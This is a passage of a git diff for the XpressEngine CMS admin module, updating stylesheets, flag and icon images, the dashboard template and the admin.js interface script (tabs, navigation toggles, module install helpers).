label.overlap{position:absolute;color:#aaa}.x .form input[type="text"],.x .form input[type="password"],.x .form input[type="file"],.x .form select[size],.x .form textarea{position:relative;width:280px;margin:2px 0;border:1px solid #b7b7b7;border-right-color:#e1e1e1;border-bottom-color:#e1e1e1;background:transparent}.x .form input[type="text"],.x .form input[type="password"],.x .form input[type="file"]{height:22px;line-height:22px;vertical-align:middle;padding:0 4px}.x .form input[type="checkbox"],.x .form input[type="radio"]{margin:0;padding:0;width:13px;height:13px;vertical-align:middle}.x .form input[type="text"][disabled="disabled"],.x .form input[type="password"][disabled="disabled"],.x .form input[type="radio"][disabled="disabled"],.x .form input[type="checkbox"][disabled="disabled"],.x .form select[disabled="disabled"],.x .form textarea[disabled="disabled"]{background:#ddd;text-shadow:1px 1px 0 #fff}.x .form textarea{padding:3px 4px;vertical-align:top;resize:both}.x .form span.desc,.x .form em.desc{line-height:22px;vertical-align:middle;margin:0 10px}.x .form p.desc{margin:.25em 0;line-height:1.4}.x .form .q{font-weight:bold;margin:0 0 5px 0}.x .form .a{margin:0 0 5px 0}.x .form .tgForm{margin-right:1em}.x .cnb{margin:1em 0;position:relative;zoom:1}.x .cnb:after{content:"";display:block;clear:both}.x .cnb ul{list-style:none;margin:0;padding:0}.x .cnb li{display:inline}.x .cnb li:before{content:"| ";color:#ccc}.x .cnb li:first-child:before{content:""}.x .cnb .active,.x .cnb .active a{font-weight:bold;color:#333;text-decoration:none}.x .cnb .side{float:right}.x .pagination{margin:1em 0;text-align:center;line-height:normal}.x .pagination *{vertical-align:middle}.x .pagination a,.x .pagination strong{position:relative;display:inline-block;padding:2px 4px;font-weight:bold;text-decoration:none;line-height:normal;color:#333!important;vertical-align:middle}.x .pagination a:hover,.x .pagination a:active,.x .pagination a:focus{border:1px solid #ddd;margin:0 -1px}.x .pagination strong{color:#e00!important;font-size:20px}.x .pagination .direction{font-weight:normal;white-space:nowrap}.x .pagination .direction:hover,.x .pagination .direction:active,.x .pagination .direction:focus{border:0;margin:0;text-decoration:underline}.x .pagination input{width:30px;text-align:center}.x .pagination button{overflow:visible}.x .prgrs{white-space:nowrap;line-height:normal;vertical-align:middle}.x .prgrs *{vertical-align:middle}.x .prgrs .pBar{position:relative;display:inline-block;background:#e9e9e9;margin:0 5px 0 0}.x .prgrs .pAction{display:inline-block;vertical-align:top;background:#99a6b6}.x .prgrs .pNum{width:100%;left:0;top:0;text-align:center;text-shadow:1px 1px 0 #fff}.x .prgrs.prgrsSmall{font-size:14px;line-height:14px}.x .prgrs.prgrsSmall .pBar,.x .prgrs.prgrsSmall .pAction,.x .prgrs.prgrsSmall .pNum{height:16px;line-height:16px;font-size:11px}.x .prgrs.prgrsMedium{font-size:24px;line-height:24px}.x .prgrs.prgrsMedium .pBar,.x .prgrs.prgrsMedium .pAction,.x .prgrs.prgrsMedium .pNum{height:22px;line-height:22px;font-size:12px}.x .prgrs.prgrsLarge{font-size:38px;line-height:38px}.x .prgrs.prgrsLarge .pBar,.x .prgrs.prgrsLarge .pAction,.x .prgrs.prgrsLarge .pNum{height:34px;line-height:34px;font-size:14px}.modal{position:absolute;top:0;left:0;width:100%;_height:100%;min-height:100%;z-index:1050}.modal .bg{position:absolute;background:#000;_background:none;width:100%;height:100%;opacity:.5;z-index:2;filter:alpha(opacity=50);zoom:1}.modal .fg{position:relative;width:80%;margin:5em auto;background:#fff;padding:0 1em;*padding:1em;border:8px solid #ddd;z-index:3;zoom:1;border-radius:5px;box-shadow:0 0 6px #000}.modal ul,.modal ol,.modal .lined,.modal .table{margin-bottom:1em}.modal .ie6{position:absolute;left:0;top:0;width:100%;height:100%;border:0;opacity:0;filter:alpha(opacity=0);z-index:1}.modalClose{position:absolute;right:-8px;top:-8px;border:0;background:#ddd;padding:0;width:28px;height:28px;font-size:14px;font-weight:bold;cursor:pointer;color:#999;border-radius:5px}.modalBlur{position:absolute;top:0;right:0;border:0;background:none;padding:0;width:1px;height:1px;overflow:hidden} \ No newline at end of file diff --git a/modules/admin/tpl/css/admin_en.css b/modules/admin/tpl/css/admin_en.css index 8e135bf24..97b5532f8 100644 --- a/modules/admin/tpl/css/admin_en.css +++ b/modules/admin/tpl/css/admin_en.css @@ -1,7 +1,6 @@ @charset "utf-8"; -.x, -.x table, -.x input, -.x textarea, -.x select, -.x button{font-family:Tahoma,Geneva,sans-serif} \ No newline at end of file +@font-face{font-family:NG;src:url(https://themes.googleusercontent.com/static/fonts/earlyaccess/nanumgothic/v3/NanumGothic-Regular.eot);src:local(※),url(https://themes.googleusercontent.com/static/fonts/earlyaccess/nanumgothic/v3/NanumGothic-Regular.woff) format('woff')} +body>.x,.x table,.x input,.x textarea,.x select,.x button{font-family:나눔고딕,NanumGothic,NG,돋움,Dotum,Arial,Helvetica,sans-serif} +@media all and (max-width:980px){ +body>.x,.x table,.x input,.x textarea,.x select,.x button{font-family:sans-serif} +} \ No newline at end of file diff --git a/modules/admin/tpl/css/admin_jp.css b/modules/admin/tpl/css/admin_jp.css index 4e4ddba27..97b5532f8 100644 --- a/modules/admin/tpl/css/admin_jp.css +++ b/modules/admin/tpl/css/admin_jp.css @@ -1,7 +1,6 @@ @charset "utf-8"; -.x, -.x table, -.x input, -.x textarea, -.x select, -.x button{font-family:"MS PGothic",Osaka,Arial,sans-serif} +@font-face{font-family:NG;src:url(https://themes.googleusercontent.com/static/fonts/earlyaccess/nanumgothic/v3/NanumGothic-Regular.eot);src:local(※),url(https://themes.googleusercontent.com/static/fonts/earlyaccess/nanumgothic/v3/NanumGothic-Regular.woff) format('woff')} +body>.x,.x table,.x input,.x textarea,.x select,.x button{font-family:나눔고딕,NanumGothic,NG,돋움,Dotum,Arial,Helvetica,sans-serif} +@media all and (max-width:980px){ +body>.x,.x table,.x input,.x textarea,.x select,.x button{font-family:sans-serif} +} \ No newline at end of file diff --git a/modules/admin/tpl/css/admin_ko.css b/modules/admin/tpl/css/admin_ko.css index daca629af..97b5532f8 100644 --- a/modules/admin/tpl/css/admin_ko.css +++ b/modules/admin/tpl/css/admin_ko.css @@ -1,7 +1,6 @@ @charset "utf-8"; -.x, -.x table, -.x input, -.x textarea, -.x select, -.x button{font-family:나눔고딕,NanumGothic,"맑은 고딕","Malgun Gothic",돋움,Dotum,sans-serif} +@font-face{font-family:NG;src:url(https://themes.googleusercontent.com/static/fonts/earlyaccess/nanumgothic/v3/NanumGothic-Regular.eot);src:local(※),url(https://themes.googleusercontent.com/static/fonts/earlyaccess/nanumgothic/v3/NanumGothic-Regular.woff) format('woff')} +body>.x,.x table,.x input,.x textarea,.x select,.x button{font-family:나눔고딕,NanumGothic,NG,돋움,Dotum,Arial,Helvetica,sans-serif} +@media all and (max-width:980px){ +body>.x,.x table,.x input,.x textarea,.x select,.x button{font-family:sans-serif} +} \ No newline at end of file diff --git a/modules/admin/tpl/css/jquery.jqplot.min.css b/modules/admin/tpl/css/jquery.jqplot.min.css new file mode 100644 index 000000000..6497f61d3 --- /dev/null +++ b/modules/admin/tpl/css/jquery.jqplot.min.css @@ -0,0 +1 @@ +.jqplot-target{position:relative}.jqplot-axis{font:11px Dotum,Arial,Helvetica,sans-serif;color:#666}.jqplot-xaxis{margin-top:10px}.jqplot-x2axis{margin-bottom:10px}.jqplot-yaxis{margin-right:10px}.jqplot-y2axis,.jqplot-y3axis,.jqplot-y4axis,.jqplot-y5axis,.jqplot-y6axis,.jqplot-y7axis,.jqplot-y8axis,.jqplot-y9axis,.jqplot-yMidAxis{margin-left:10px;margin-right:10px}.jqplot-axis-tick,.jqplot-xaxis-tick,.jqplot-yaxis-tick,.jqplot-x2axis-tick,.jqplot-y2axis-tick,.jqplot-y3axis-tick,.jqplot-y4axis-tick,.jqplot-y5axis-tick,.jqplot-y6axis-tick,.jqplot-y7axis-tick,.jqplot-y8axis-tick,.jqplot-y9axis-tick,.jqplot-yMidAxis-tick{position:absolute;white-space:pre}.jqplot-xaxis-tick{top:0;left:15px;vertical-align:top}.jqplot-x2axis-tick{bottom:0;left:15px;vertical-align:bottom}.jqplot-yaxis-tick{right:0;top:15px;text-align:right}.jqplot-yaxis-tick.jqplot-breakTick{right:-20px;margin-right:0;padding:1px 5px 1px 5px;z-index:2;font-size:1.5em}.jqplot-y2axis-tick,.jqplot-y3axis-tick,.jqplot-y4axis-tick,.jqplot-y5axis-tick,.jqplot-y6axis-tick,.jqplot-y7axis-tick,.jqplot-y8axis-tick,.jqplot-y9axis-tick{left:0;top:15px;text-align:left}.jqplot-yMidAxis-tick{text-align:center;white-space:nowrap}.jqplot-xaxis-label{margin-top:10px;font-size:11pt;position:absolute}.jqplot-x2axis-label{margin-bottom:10px;font-size:11pt;position:absolute}.jqplot-yaxis-label{margin-right:10px;font-size:11pt;position:absolute}.jqplot-yMidAxis-label{font-size:11pt;position:absolute}.jqplot-y2axis-label,.jqplot-y3axis-label,.jqplot-y4axis-label,.jqplot-y5axis-label,.jqplot-y6axis-label,.jqplot-y7axis-label,.jqplot-y8axis-label,.jqplot-y9axis-label{font-size:11pt;margin-left:10px;position:absolute}.jqplot-meterGauge-tick{font-size:.75em;color:#999}.jqplot-meterGauge-label{font-size:1em;color:#999}table.jqplot-table-legend{margin:0 0 0 25px}table.jqplot-table-legend,table.jqplot-cursor-legend{position:absolute}table.jqplot-table-legend td,table.jqplot-cursor-legend td{font:11px/15px Dotum,Arial,Helvetica,sans-serif;color:#666}td.jqplot-table-legend{vertical-align:middle}td.jqplot-seriesToggle:hover,td.jqplot-seriesToggle:active{cursor:pointer}.jqplot-table-legend .jqplot-series-hidden{text-decoration:line-through}div.jqplot-table-legend-swatch-outline{border:1px solid #ccc;padding:1px}div.jqplot-table-legend-swatch{width:0;height:0;border-top-width:5px;border-bottom-width:5px;border-left-width:6px;border-right-width:6px;border-top-style:solid;border-bottom-style:solid;border-left-style:solid;border-right-style:solid}.jqplot-title{top:0;left:0;padding-bottom:.5em;font-size:1.2em}table.jqplot-cursor-tooltip{border:1px solid #ccc;font-size:.75em}.jqplot-cursor-tooltip{border:1px solid #ccc;font-size:.75em;white-space:nowrap;background:rgba(208,208,208,0.5);padding:1px}.jqplot-highlighter-tooltip,.jqplot-canvasOverlay-tooltip{border:1px solid #ccc;font-size:.75em;white-space:nowrap;background:rgba(208,208,208,0.5);padding:1px}.jqplot-point-label{font-size:.75em;z-index:2}td.jqplot-cursor-legend-swatch{vertical-align:middle;text-align:center}div.jqplot-cursor-legend-swatch{width:1.2em;height:.7em}.jqplot-error{text-align:center}.jqplot-error-message{position:relative;top:46%;display:inline-block}div.jqplot-bubble-label{font-size:.8em;padding-left:2px;padding-right:2px;color:rgb(20%,20%,20%)}div.jqplot-bubble-label.jqplot-bubble-label-highlight{background:rgba(90%,90%,90%,0.7)}div.jqplot-noData-container{text-align:center;background-color:rgba(96%,96%,96%,0.3)} \ No newline at end of file diff --git a/modules/admin/tpl/img/btnPlusMinus.gif b/modules/admin/tpl/img/btnPlusMinus.gif deleted file mode 100644 index d413d4e24..000000000 Binary files a/modules/admin/tpl/img/btnPlusMinus.gif and /dev/null differ diff --git a/modules/admin/tpl/img/flag.cn.gif b/modules/admin/tpl/img/flag.cn.gif index b05253097..be7c75630 100644 Binary files a/modules/admin/tpl/img/flag.cn.gif and b/modules/admin/tpl/img/flag.cn.gif differ diff --git a/modules/admin/tpl/img/flag.de.gif b/modules/admin/tpl/img/flag.de.gif index 75728ddf2..ccb0fdf56 100644 Binary files a/modules/admin/tpl/img/flag.de.gif and b/modules/admin/tpl/img/flag.de.gif differ diff --git a/modules/admin/tpl/img/flag.en.gif b/modules/admin/tpl/img/flag.en.gif new file mode 100644 index 000000000..ffdadfccf Binary files /dev/null and b/modules/admin/tpl/img/flag.en.gif differ diff --git a/modules/admin/tpl/img/flag.es.gif b/modules/admin/tpl/img/flag.es.gif index c27d65e5f..1b6b5f462 100644 Binary files a/modules/admin/tpl/img/flag.es.gif and b/modules/admin/tpl/img/flag.es.gif differ diff --git a/modules/admin/tpl/img/flag.fr.gif b/modules/admin/tpl/img/flag.fr.gif index 43d0b8017..7b6301829 100644 Binary files a/modules/admin/tpl/img/flag.fr.gif and b/modules/admin/tpl/img/flag.fr.gif differ diff --git a/modules/admin/tpl/img/flag.jp.gif b/modules/admin/tpl/img/flag.jp.gif index 444c1d05c..d5fe72de4 100644 Binary files a/modules/admin/tpl/img/flag.jp.gif and b/modules/admin/tpl/img/flag.jp.gif differ diff --git a/modules/admin/tpl/img/flag.ko.gif b/modules/admin/tpl/img/flag.ko.gif new file mode 100644 index 000000000..75b96932c Binary files /dev/null and b/modules/admin/tpl/img/flag.ko.gif differ diff --git a/modules/admin/tpl/img/flag.kr.gif b/modules/admin/tpl/img/flag.kr.gif deleted file mode 100644 index 1cddbe75b..000000000 Binary files a/modules/admin/tpl/img/flag.kr.gif and /dev/null differ diff --git a/modules/admin/tpl/img/flag.mn.gif b/modules/admin/tpl/img/flag.mn.gif index dff8ea5a6..b5600d80f 100644 Binary files a/modules/admin/tpl/img/flag.mn.gif and b/modules/admin/tpl/img/flag.mn.gif differ diff --git a/modules/admin/tpl/img/flag.ru.gif b/modules/admin/tpl/img/flag.ru.gif index b525c4623..4cc82c93f 100644 Binary files a/modules/admin/tpl/img/flag.ru.gif and b/modules/admin/tpl/img/flag.ru.gif differ diff --git a/modules/admin/tpl/img/flag.tr.gif b/modules/admin/tpl/img/flag.tr.gif index e407d553d..956a7f81d 100644 Binary files a/modules/admin/tpl/img/flag.tr.gif and b/modules/admin/tpl/img/flag.tr.gif differ diff --git a/modules/admin/tpl/img/flag.tw.gif b/modules/admin/tpl/img/flag.tw.gif index cacfd9b7a..b817b3bcd 100644 Binary files a/modules/admin/tpl/img/flag.tw.gif and b/modules/admin/tpl/img/flag.tw.gif differ diff --git a/modules/admin/tpl/img/flag.us.gif b/modules/admin/tpl/img/flag.us.gif deleted file mode 100644 index 8f198f73a..000000000 Binary files a/modules/admin/tpl/img/flag.us.gif and /dev/null differ diff --git a/modules/admin/tpl/img/flag.vi.gif b/modules/admin/tpl/img/flag.vi.gif new file mode 100644 index 000000000..748644e1d Binary files /dev/null and b/modules/admin/tpl/img/flag.vi.gif differ diff --git a/modules/admin/tpl/img/flag.vn.gif b/modules/admin/tpl/img/flag.vn.gif deleted file mode 100644 index f1e20c941..000000000 Binary files a/modules/admin/tpl/img/flag.vn.gif and /dev/null differ diff --git a/modules/admin/tpl/img/glyphicons-halflings.png b/modules/admin/tpl/img/glyphicons-halflings.png index 79bc568c2..a99699932 100644 Binary files a/modules/admin/tpl/img/glyphicons-halflings.png and b/modules/admin/tpl/img/glyphicons-halflings.png differ diff --git a/modules/admin/tpl/img/iconArrow.gif b/modules/admin/tpl/img/iconArrow.gif deleted file mode 100644 index eff3728a4..000000000 Binary files a/modules/admin/tpl/img/iconArrow.gif and /dev/null differ diff --git a/modules/admin/tpl/img/iconCheck.gif b/modules/admin/tpl/img/iconCheck.gif deleted file mode 100644 index 099fe5c96..000000000 Binary files a/modules/admin/tpl/img/iconCheck.gif and /dev/null differ diff --git a/modules/admin/tpl/img/iconNavVr.gif b/modules/admin/tpl/img/iconNavVr.gif deleted file mode 100644 index b2c80171f..000000000 Binary files a/modules/admin/tpl/img/iconNavVr.gif and /dev/null differ diff --git a/modules/admin/tpl/img/iconSetting.gif b/modules/admin/tpl/img/iconSetting.gif deleted file mode 100644 index d5a2ad29d..000000000 Binary files a/modules/admin/tpl/img/iconSetting.gif and /dev/null differ diff --git a/modules/admin/tpl/img/iconStarRating.gif b/modules/admin/tpl/img/iconStarRating.gif deleted file mode 100644 index 4f901e905..000000000 Binary files a/modules/admin/tpl/img/iconStarRating.gif and /dev/null differ diff --git a/modules/admin/tpl/img/iconWindow.gif b/modules/admin/tpl/img/iconWindow.gif deleted file mode 100644 index 7c318f880..000000000 Binary files a/modules/admin/tpl/img/iconWindow.gif and /dev/null differ diff --git a/modules/admin/tpl/img/lineTree.gif b/modules/admin/tpl/img/lineTree.gif deleted file mode 100644 index ad659a679..000000000 Binary files a/modules/admin/tpl/img/lineTree.gif and /dev/null differ diff --git a/modules/admin/tpl/img/msg.Info.png b/modules/admin/tpl/img/msg.Info.png deleted file mode 100644 index a6f3565c5..000000000 Binary files a/modules/admin/tpl/img/msg.Info.png and /dev/null differ diff --git a/modules/admin/tpl/img/msg.error.png b/modules/admin/tpl/img/msg.error.png deleted file mode 100644 index 7d9c1a68b..000000000 Binary files a/modules/admin/tpl/img/msg.error.png and /dev/null differ diff --git a/modules/admin/tpl/img/msg.update.png b/modules/admin/tpl/img/msg.update.png deleted file mode 100644 index 598afd0a3..000000000 Binary files a/modules/admin/tpl/img/msg.update.png and /dev/null differ diff --git a/modules/admin/tpl/img/preLoader16.gif b/modules/admin/tpl/img/preLoader16.gif deleted file mode 100644 index bce84bcc4..000000000 Binary files a/modules/admin/tpl/img/preLoader16.gif and /dev/null differ diff --git a/modules/admin/tpl/img/starRating.png b/modules/admin/tpl/img/starRating.png new file mode 100644 index 000000000..49ee36d45 Binary files /dev/null and b/modules/admin/tpl/img/starRating.png differ diff --git a/modules/admin/tpl/img/toggleSwitch.png b/modules/admin/tpl/img/toggleSwitch.png new file mode 100644 index 000000000..2a3111299 Binary files /dev/null and b/modules/admin/tpl/img/toggleSwitch.png differ diff --git a/modules/admin/tpl/index.html b/modules/admin/tpl/index.html index 3461b5005..163a5f38b 100644 --- a/modules/admin/tpl/index.html +++ b/modules/admin/tpl/index.html @@ -1,105 +1,209 @@ - -
                    -
                    -

                    {$XE_VALIDATOR_MESSAGE}

                    -
                    - -
                    - - + + + + + + + + +
                    +
                    +

                    {$lang->control_panel} {$lang->help}

                    +
                    +
                    +

                    {$XE_VALIDATOR_MESSAGE}

                    +
                    + + + +

                    {$lang->install_env_agreement}

                    {$lang->install_env_agreement_desc}

                    -
                    - - +
                    + +
                    - - -
                    +

                    {$lang->need_update_and_table}

                    {$lang->need_update}

                    {$lang->need_table}

                      - - -
                    • {$value->module} -
                    • - -
                    • {$value->module} -
                    • - - + +
                    • {$value->module} -
                    • +
                    • {$value->module} -
                    • +
                    - -
                    -
                    -

                    {$lang->current_state}

                    - +
                    +

                    {$lang->available_new_version}

                    + +
                    + +
                    +
                    +
                    +

                    {$lang->uv}

                    +
                    + +
                    +
                    +

                    {$lang->pv}

                    +
                    + +
                    +
                    -
                    -

                    {$lang->latest_documents}

                    - -
                    -
                    -

                    {$lang->latest_comments}

                    - -
                    -
                    -

                    {$lang->latest_trackbacks}

                    -
                      - -
                    • - {$value->title} {$value->blog_name} -
                      - - - - - -
                      -
                    • - -
                    • {$lang->no_data}
                    • -
                    +
                    +
                    +

                    {$lang->latest_documents}

                    + +

                    {$lang->more}

                    +
                    +
                    +

                    {$lang->latest_comments}

                    + +

                    {$lang->more}

                    +
                    - - + + diff --git a/modules/admin/tpl/js/admin.js b/modules/admin/tpl/js/admin.js index e6fdc4bcd..2675a5458 100644 --- a/modules/admin/tpl/js/admin.js +++ b/modules/admin/tpl/js/admin.js @@ -1,35 +1,216 @@ /* NHN (developers@xpressengine.com) */ +// install module +function doInstallModule(module) { + var params = new Array(); + params['module_name'] = module; + exec_xml('install','procInstallAdminInstall',params, completeInstallModule); +} + +// upgrade module +function doUpdateModule(module) { + var params = new Array(); + params['module_name'] = module; + exec_xml('install','procInstallAdminUpdate',params, completeInstallModule); +} + +function completeInstallModule(ret_obj) { + alert(ret_obj['message']); + location.reload(); +} + jQuery(function($){ - // Constants - var ESC_KEY = 27; +// iSO mobile device toolbar remove + window.scrollTo(0,0); +// TARGET toggle + $(document.body).on('click', '.x [data-toggle]', function(){ + var $this = $(this); + if($this.is('a') && $this.attr('href') != $this.attr('data-toggle')){ + var target = $this.attr('href'); + $this.attr('data-toggle', target); + } + var $target = $($this.attr('data-toggle')); + var focusable = 'a,input,button,textarea,select'; + $target.toggle(); + if($target.is(':visible') && !$target.find(focusable).length){ + $target.not(':disabled').attr('tabindex','0').focus(); + } else if($target.is(':visible') && $target.find(focusable).length) { + $target.not(':disabled').find(focusable).eq(0).focus(); + } else { + $this.focus(); + } + return false; + }); +// TARGET show + $(document.body).on('click', '.x [data-show]', function(){ + var $this = $(this); + if($this.is('a') && $this.attr('href') != $this.attr('data-show')){ + var target = $this.attr('href'); + $this.attr('data-show', target); + } + $($this.attr('data-show')).show().attr('tabindex','0').focus(); + return false; + }); +// TARGET hide + $(document.body).on('click', '.x [data-hide]', function(){ + var $this = $(this); + if($this.is('a') && $this.attr('href') != $this.attr('data-hide')){ + var target = $this.attr('href'); + $this.attr('data-hide', target); + } + $($this.attr('data-hide')).hide(); + $this.focus(); + return false; + }); +// Tab Navigation + $.fn.xeTabbable = function(){ + $(this).each(function(){ + var $this = $(this); + $this.find('>.x_nav-tabs>li>a').each(function(index){ + $(this).attr('data-index', index+1); + }); + $this.find('>.x_tab-content>.x_tab-pane').each(function(index){ + $(this).attr('data-index', index+1); + }); + }); + $('.x .x_tab-content>.x_tab-pane:not(".x_active")').hide(); + } + $('.x .x_tabbable').xeTabbable(); + $(document.body).on('click', '.x .x_nav-tabs>li>a[href^="#"]', function(){ + var $this = $(this); + if($this.parent('li').hasClass('x_disabled')){ + return false; + } + $this.parent('li').addClass('x_active').siblings().removeClass('x_active'); + $this.closest('.x_nav-tabs').next('.x_tab-content').find('>.x_tab-pane').eq($this.attr('data-index')-1).addClass('x_active').show().siblings('.x_tab-pane').removeClass('x_active').hide(); + $this.parents('.x_tabbable').trigger('tab_change', [parseInt($this.attr('data-index'))-1, $this]); + return false; + }); +// #content reflow + function reflow(){ // Browser bug fix & resize height + var $xBody = $('.x>.body'); + var $xGnb = $xBody.find('>.gnb'); + var $xContent = $xBody.children('#content.content'); + $xContent.width('99.99%'); + setTimeout(function(){ + $xContent.removeAttr('style'); + if($xGnb.height() > $xContent.height()){ + $xContent.height($xGnb.height()); + } + }, 100); + } +// GNB + $.fn.gnb = function(){ + var $xBody = $('.x>.body'); + var $xGnb = $xBody.find('>.gnb'); + var $xGnb_li = $xGnb.find('>ul>li'); - // Overlapping label - $('.form li').find('>input:text:not(".notmulti"),>input:password,>textarea') - .filter('input[value!=""],textarea:not(:empty)').prev('label').css('visibility','hidden').end().end() - .prev('label') - .addClass('overlap') - .css({top:'15px',left:'5px'}) - .next() - .focus(function(){ - var $label = $(this).prev().stop().animate({opacity:0, left:'25px'},'fast',function(){ $label.css('visibility','hidden') }); - }) - .blur(function(){ - var $this = $(this), $label; - if($.trim($this.val()) == '') { - $label = $this.prev().stop().css('visibility','visible').animate({opacity:1, left:'5px'},'fast'); - } - }) - .end() - .parent() - .css('position', 'relative'); + var d365 = new Date(); + d365.setTime(d365.getTime() + 60*60*24*356); - // Toogle checkbox all - $('.form th>input:checkbox') + // Add icon + $xGnb_li.find('>a').prepend(''); + $xGnb_li.find('>ul').prev('a').append(''); + // Active Submenu Copy + $xGnb_li.each(function(index){ + $(this).attr('data-index', index+1); + }); + var parentIndex = $xGnb_li.find('>ul>li.active_').closest('li.active').attr('data-index'); + $xGnb_li.find('>ul>li.active_').clone().addClass('active').attr('data-index', parentIndex).prependTo('#gnbNav').find('>a').prepend(''); + // GNB Click toggle + $xGnb_li.find('>a').click(function(){ + var $this = $(this); + var $parent = $(this).parent('li'); + var hasOpen = $parent.hasClass('open'); + var hasActive = $parent.hasClass('active'); + var hasList = $parent.find('>ul').length >= 1; + var hasWide = $xBody.hasClass('wide'); + function openGNB(){ + $xBody.removeClass('wide'); + reflow(); + } + if(!hasOpen && !hasActive && hasList){ // Down to open + $parent.addClass('open').find('>ul').slideDown(100); + openGNB(); + setCookie('__xe_admin_gnb_tx_' + $this.data('href'), 'open', d365); + return false; + } else if(hasOpen && !hasActive && hasList && !hasWide){ // Up to close + $parent.removeClass('open').find('>ul').slideUp(100); + openGNB(); + setCookie('__xe_admin_gnb_tx_' + $this.data('href'), 'close', d365); + return false; + } else if(hasWide && !hasList || hasActive || hasWide && hasOpen){ // Right to open + openGNB(); + return false; + } + }); + // GNB Mobile Toggle + $xGnb.find('>a[href="#gnbNav"]').click(function(){ + $(this).parent('.gnb').toggleClass('open'); + $xBody.toggleClass('wide'); + if($(window).width() <= 980 && !$xGnb.hasClass('open')){ + $('#gnbNav').removeClass('ex'); + } + reflow(); + + // remember status + if($(this).parent('.gnb').hasClass('open')){ + setCookie('__xe_admin_gnb_status', 'open', d365); + }else{ + setCookie('__xe_admin_gnb_status', 'close', d365); + } + return false; + }); + + // Expert Menu Toggle + $xGnb.find('.exMenu>button').click(function(){ + $('#gnbNav').toggleClass('ex'); + reflow(); + + // remember status + if($('#gnbNav').hasClass('ex')){ + setCookie('__xe_admin_gnb_ex_status', 'open', d365); + }else{ + setCookie('__xe_admin_gnb_ex_status', 'close', d365); + } + }); + + // re-create cookie + var gnb_status = getCookie('__xe_admin_gnb_status'); + if(gnb_status){ + setCookie('__xe_admin_gnb_status', gnb_status, d365); + } + var gnb_ex_status = getCookie('__xe_admin_gnb_ex_status'); + if(gnb_ex_status){ + setCookie('__xe_admin_gnb_xe_status', gnb_ex_status, d365); + } + if(typeof __xe_admin_gnb_txs != 'undefined'){ + for(var i in __xe_admin_gnb_txs){ + var item = __xe_admin_gnb_txs[i]; + var status = getCookie(item); + setCookie(item, status, d365); + } + } + }; + $('.gnb').gnb(); +// Default Language Selection + $('.x #lang') + .mouseleave(function(){ + $(this).hide(); + }) + .focusout(function(){ + var $this = $(this); + setTimeout(function(){ + if(!$this.find('a:focus').length){ + $this.mouseleave(); + } + }, 500); + }); +// Check All + $('.x th :checkbox') .change(function() { var $this = $(this), name = $this.data('name'); - $this.closest('table') - .find('input:checkbox') + .find(':checkbox') .filter(function(){ var $this = $(this); return !$this.prop('disabled') && (($this.attr('name') == name) || ($this.data('name') == name)); @@ -39,831 +220,1798 @@ jQuery(function($){ .end() .trigger('update.checkbox', [name, this.checked]); }); - - // pagination - $.fn.xePagination = function(){ - this - .not('.xe-pagination') - .addClass('xe-pagination') - .find('span.tgContent').css('whiteSpace', 'nowrap').end() - .find('a.tgAnchor') - .each(function(idx){ - var $this = $(this); - $this.after( $($this.attr('href')) ); - }) - .end(); - - return this; - }; - $('.pagination').xePagination(); - - // Portlet Action - $('.portlet .action') - .css({display:'none',position:'absolute'}) - .parent() - .mouseleave(function(){ $(this).find('>.action').fadeOut(100); }) - .mouseenter(function(){ $(this).find('>.action').fadeIn(100); }) - .focusin(function(){ $(this).mouseenter() }) - .focusout(function(){ - var $this = $(this), timer; - - clearTimeout($this.data('timer')); - timer = setTimeout(function(){ if(!$this.find(':focus').length) $this.mouseleave() }, 10); - - $this.data('timer', timer); - }); - - // Display the dashboard in two column - $(window).resize(function(){ - if($(document).width() < 1300){ - $('.dashboard>.section>br').remove(); - $('.dashboard>.section>.portlet:odd').after('
                    '); - } else { - $('.dashboard>.section>br').remove(); - $('.dashboard>.section>.portlet:eq(2),.dashboard>.section>.portlet:eq(5)').after('
                    '); +// Pagination + $(document.body).on('click', '.x .x_pagination .x_disabled, .x .x_pagination .x_active', function(){ + return false; + }); +// Section Toggle + if($('.x .section').length > 1){ + var $section_heading = $('.x .section').find('>h1:first'); + $section_heading.each(function(){ + var $this = $(this); + if($this.next().length){ + $this.append(''); + } + }); + $('.x .section.collapsed>h1>.snToggle').removeClass('x_icon-chevron-up').addClass('x_icon-chevron-down'); + $section_heading.find('>.snToggle').click(function(){ + var $this = $(this); + var $section = $this.closest('.section'); + if(!$section.hasClass('collapsed')){ + $section.addClass('collapsed'); + $this.removeClass('x_icon-chevron-up').addClass('x_icon-chevron-down'); + } else { + $section.removeClass('collapsed'); + $this.removeClass('x_icon-chevron-down').addClass('x_icon-chevron-up'); + } + reflow(); + }); + } +// Alert Closer + var $xAlert = $('.x .x_alert'); + $xAlert.prepend(''); + $xAlert.children('.x_close').click(function(){ + $(this).parent('.x_alert').hide(); + }); +// Desabled Buttons + $('.x .x_btn').click(function(){ + if($(this).hasClass('x_disabled')){ + return false; } }); - $(window).resize(); - - // Popup list : 'Move to site' and 'Site map' - $('.header>.siteTool>a.i') - .bind('before-open.tc', function(){ - $(this) - .addClass('active') - .next('div.tgContent') - .find('>.section:gt(0)').hide().end() - .find('>.btnArea>button').show(); - }) - .bind('after-close.tc', function(){ - $(this).removeClass('active'); - }) - .next('#siteMapList') - .find('>.section:last') - .after('

                    ') - .find('+p>button') - .click(function(){ - // Display all sections then hide this button - $(this).hide().parent().prevAll('.section').show(); - }); - - $.fn.xeMask = function(){ - this - .each(function(){ - var $this = $(this), text = $this.text(); - var reg_mail = /^([\w\-\.]+?)@(([\w-]+\.)+[a-z]{2,})$/ig; - - if(reg_mail.test(text)) { - $this - .html(text.replace(/(@.+)$/, '...$1')) - .find('>.ellipsis') - .css({position:'absolute',zIndex:1}) - .hover( - function(){ $(this).next('.cover').mouseover() }, - function(){ $(this).next('.cover').mouseout() } - ) - .end() - .find('>.cover') - .css({zIndex:2,opacity:0}) - .hover( - function(){ $(this).css('opacity',1).prev('span').css('visibility','hidden') }, - function(){ $(this).css('opacity',0).prev('span').css('visibility','visible') } - ) - .end(); - } - }) +// Vertical Divider + $.fn.vr = function(){ + this.each(function(){ + var $this = $(this); + if($this.text() == '|'){ + $this.addClass('vr').filter(':first-child, :last-child').remove(); + } + }); }; - $('.masked').xeMask(); -}); - -// Global Navigation Bar -jQuery(function($){ - - $.fn.xeMenu = function(){ - this - .attr('role', 'navigation') // WAI-ARIA role - .find('>.nav-gnb>li') - .attr('role', 'menuitem') // WAI-ARIA role - .filter(':has(>ul)') - .attr('aria-haspopup', 'true') // WAI-ARIA - .end() - .end() - .find('>.nav-gnb') - .mouseover(function(){ - $(this) - .parent('.gnb').addClass('active').end() - .find('>li>ul').css('height','auto').end() - }) - 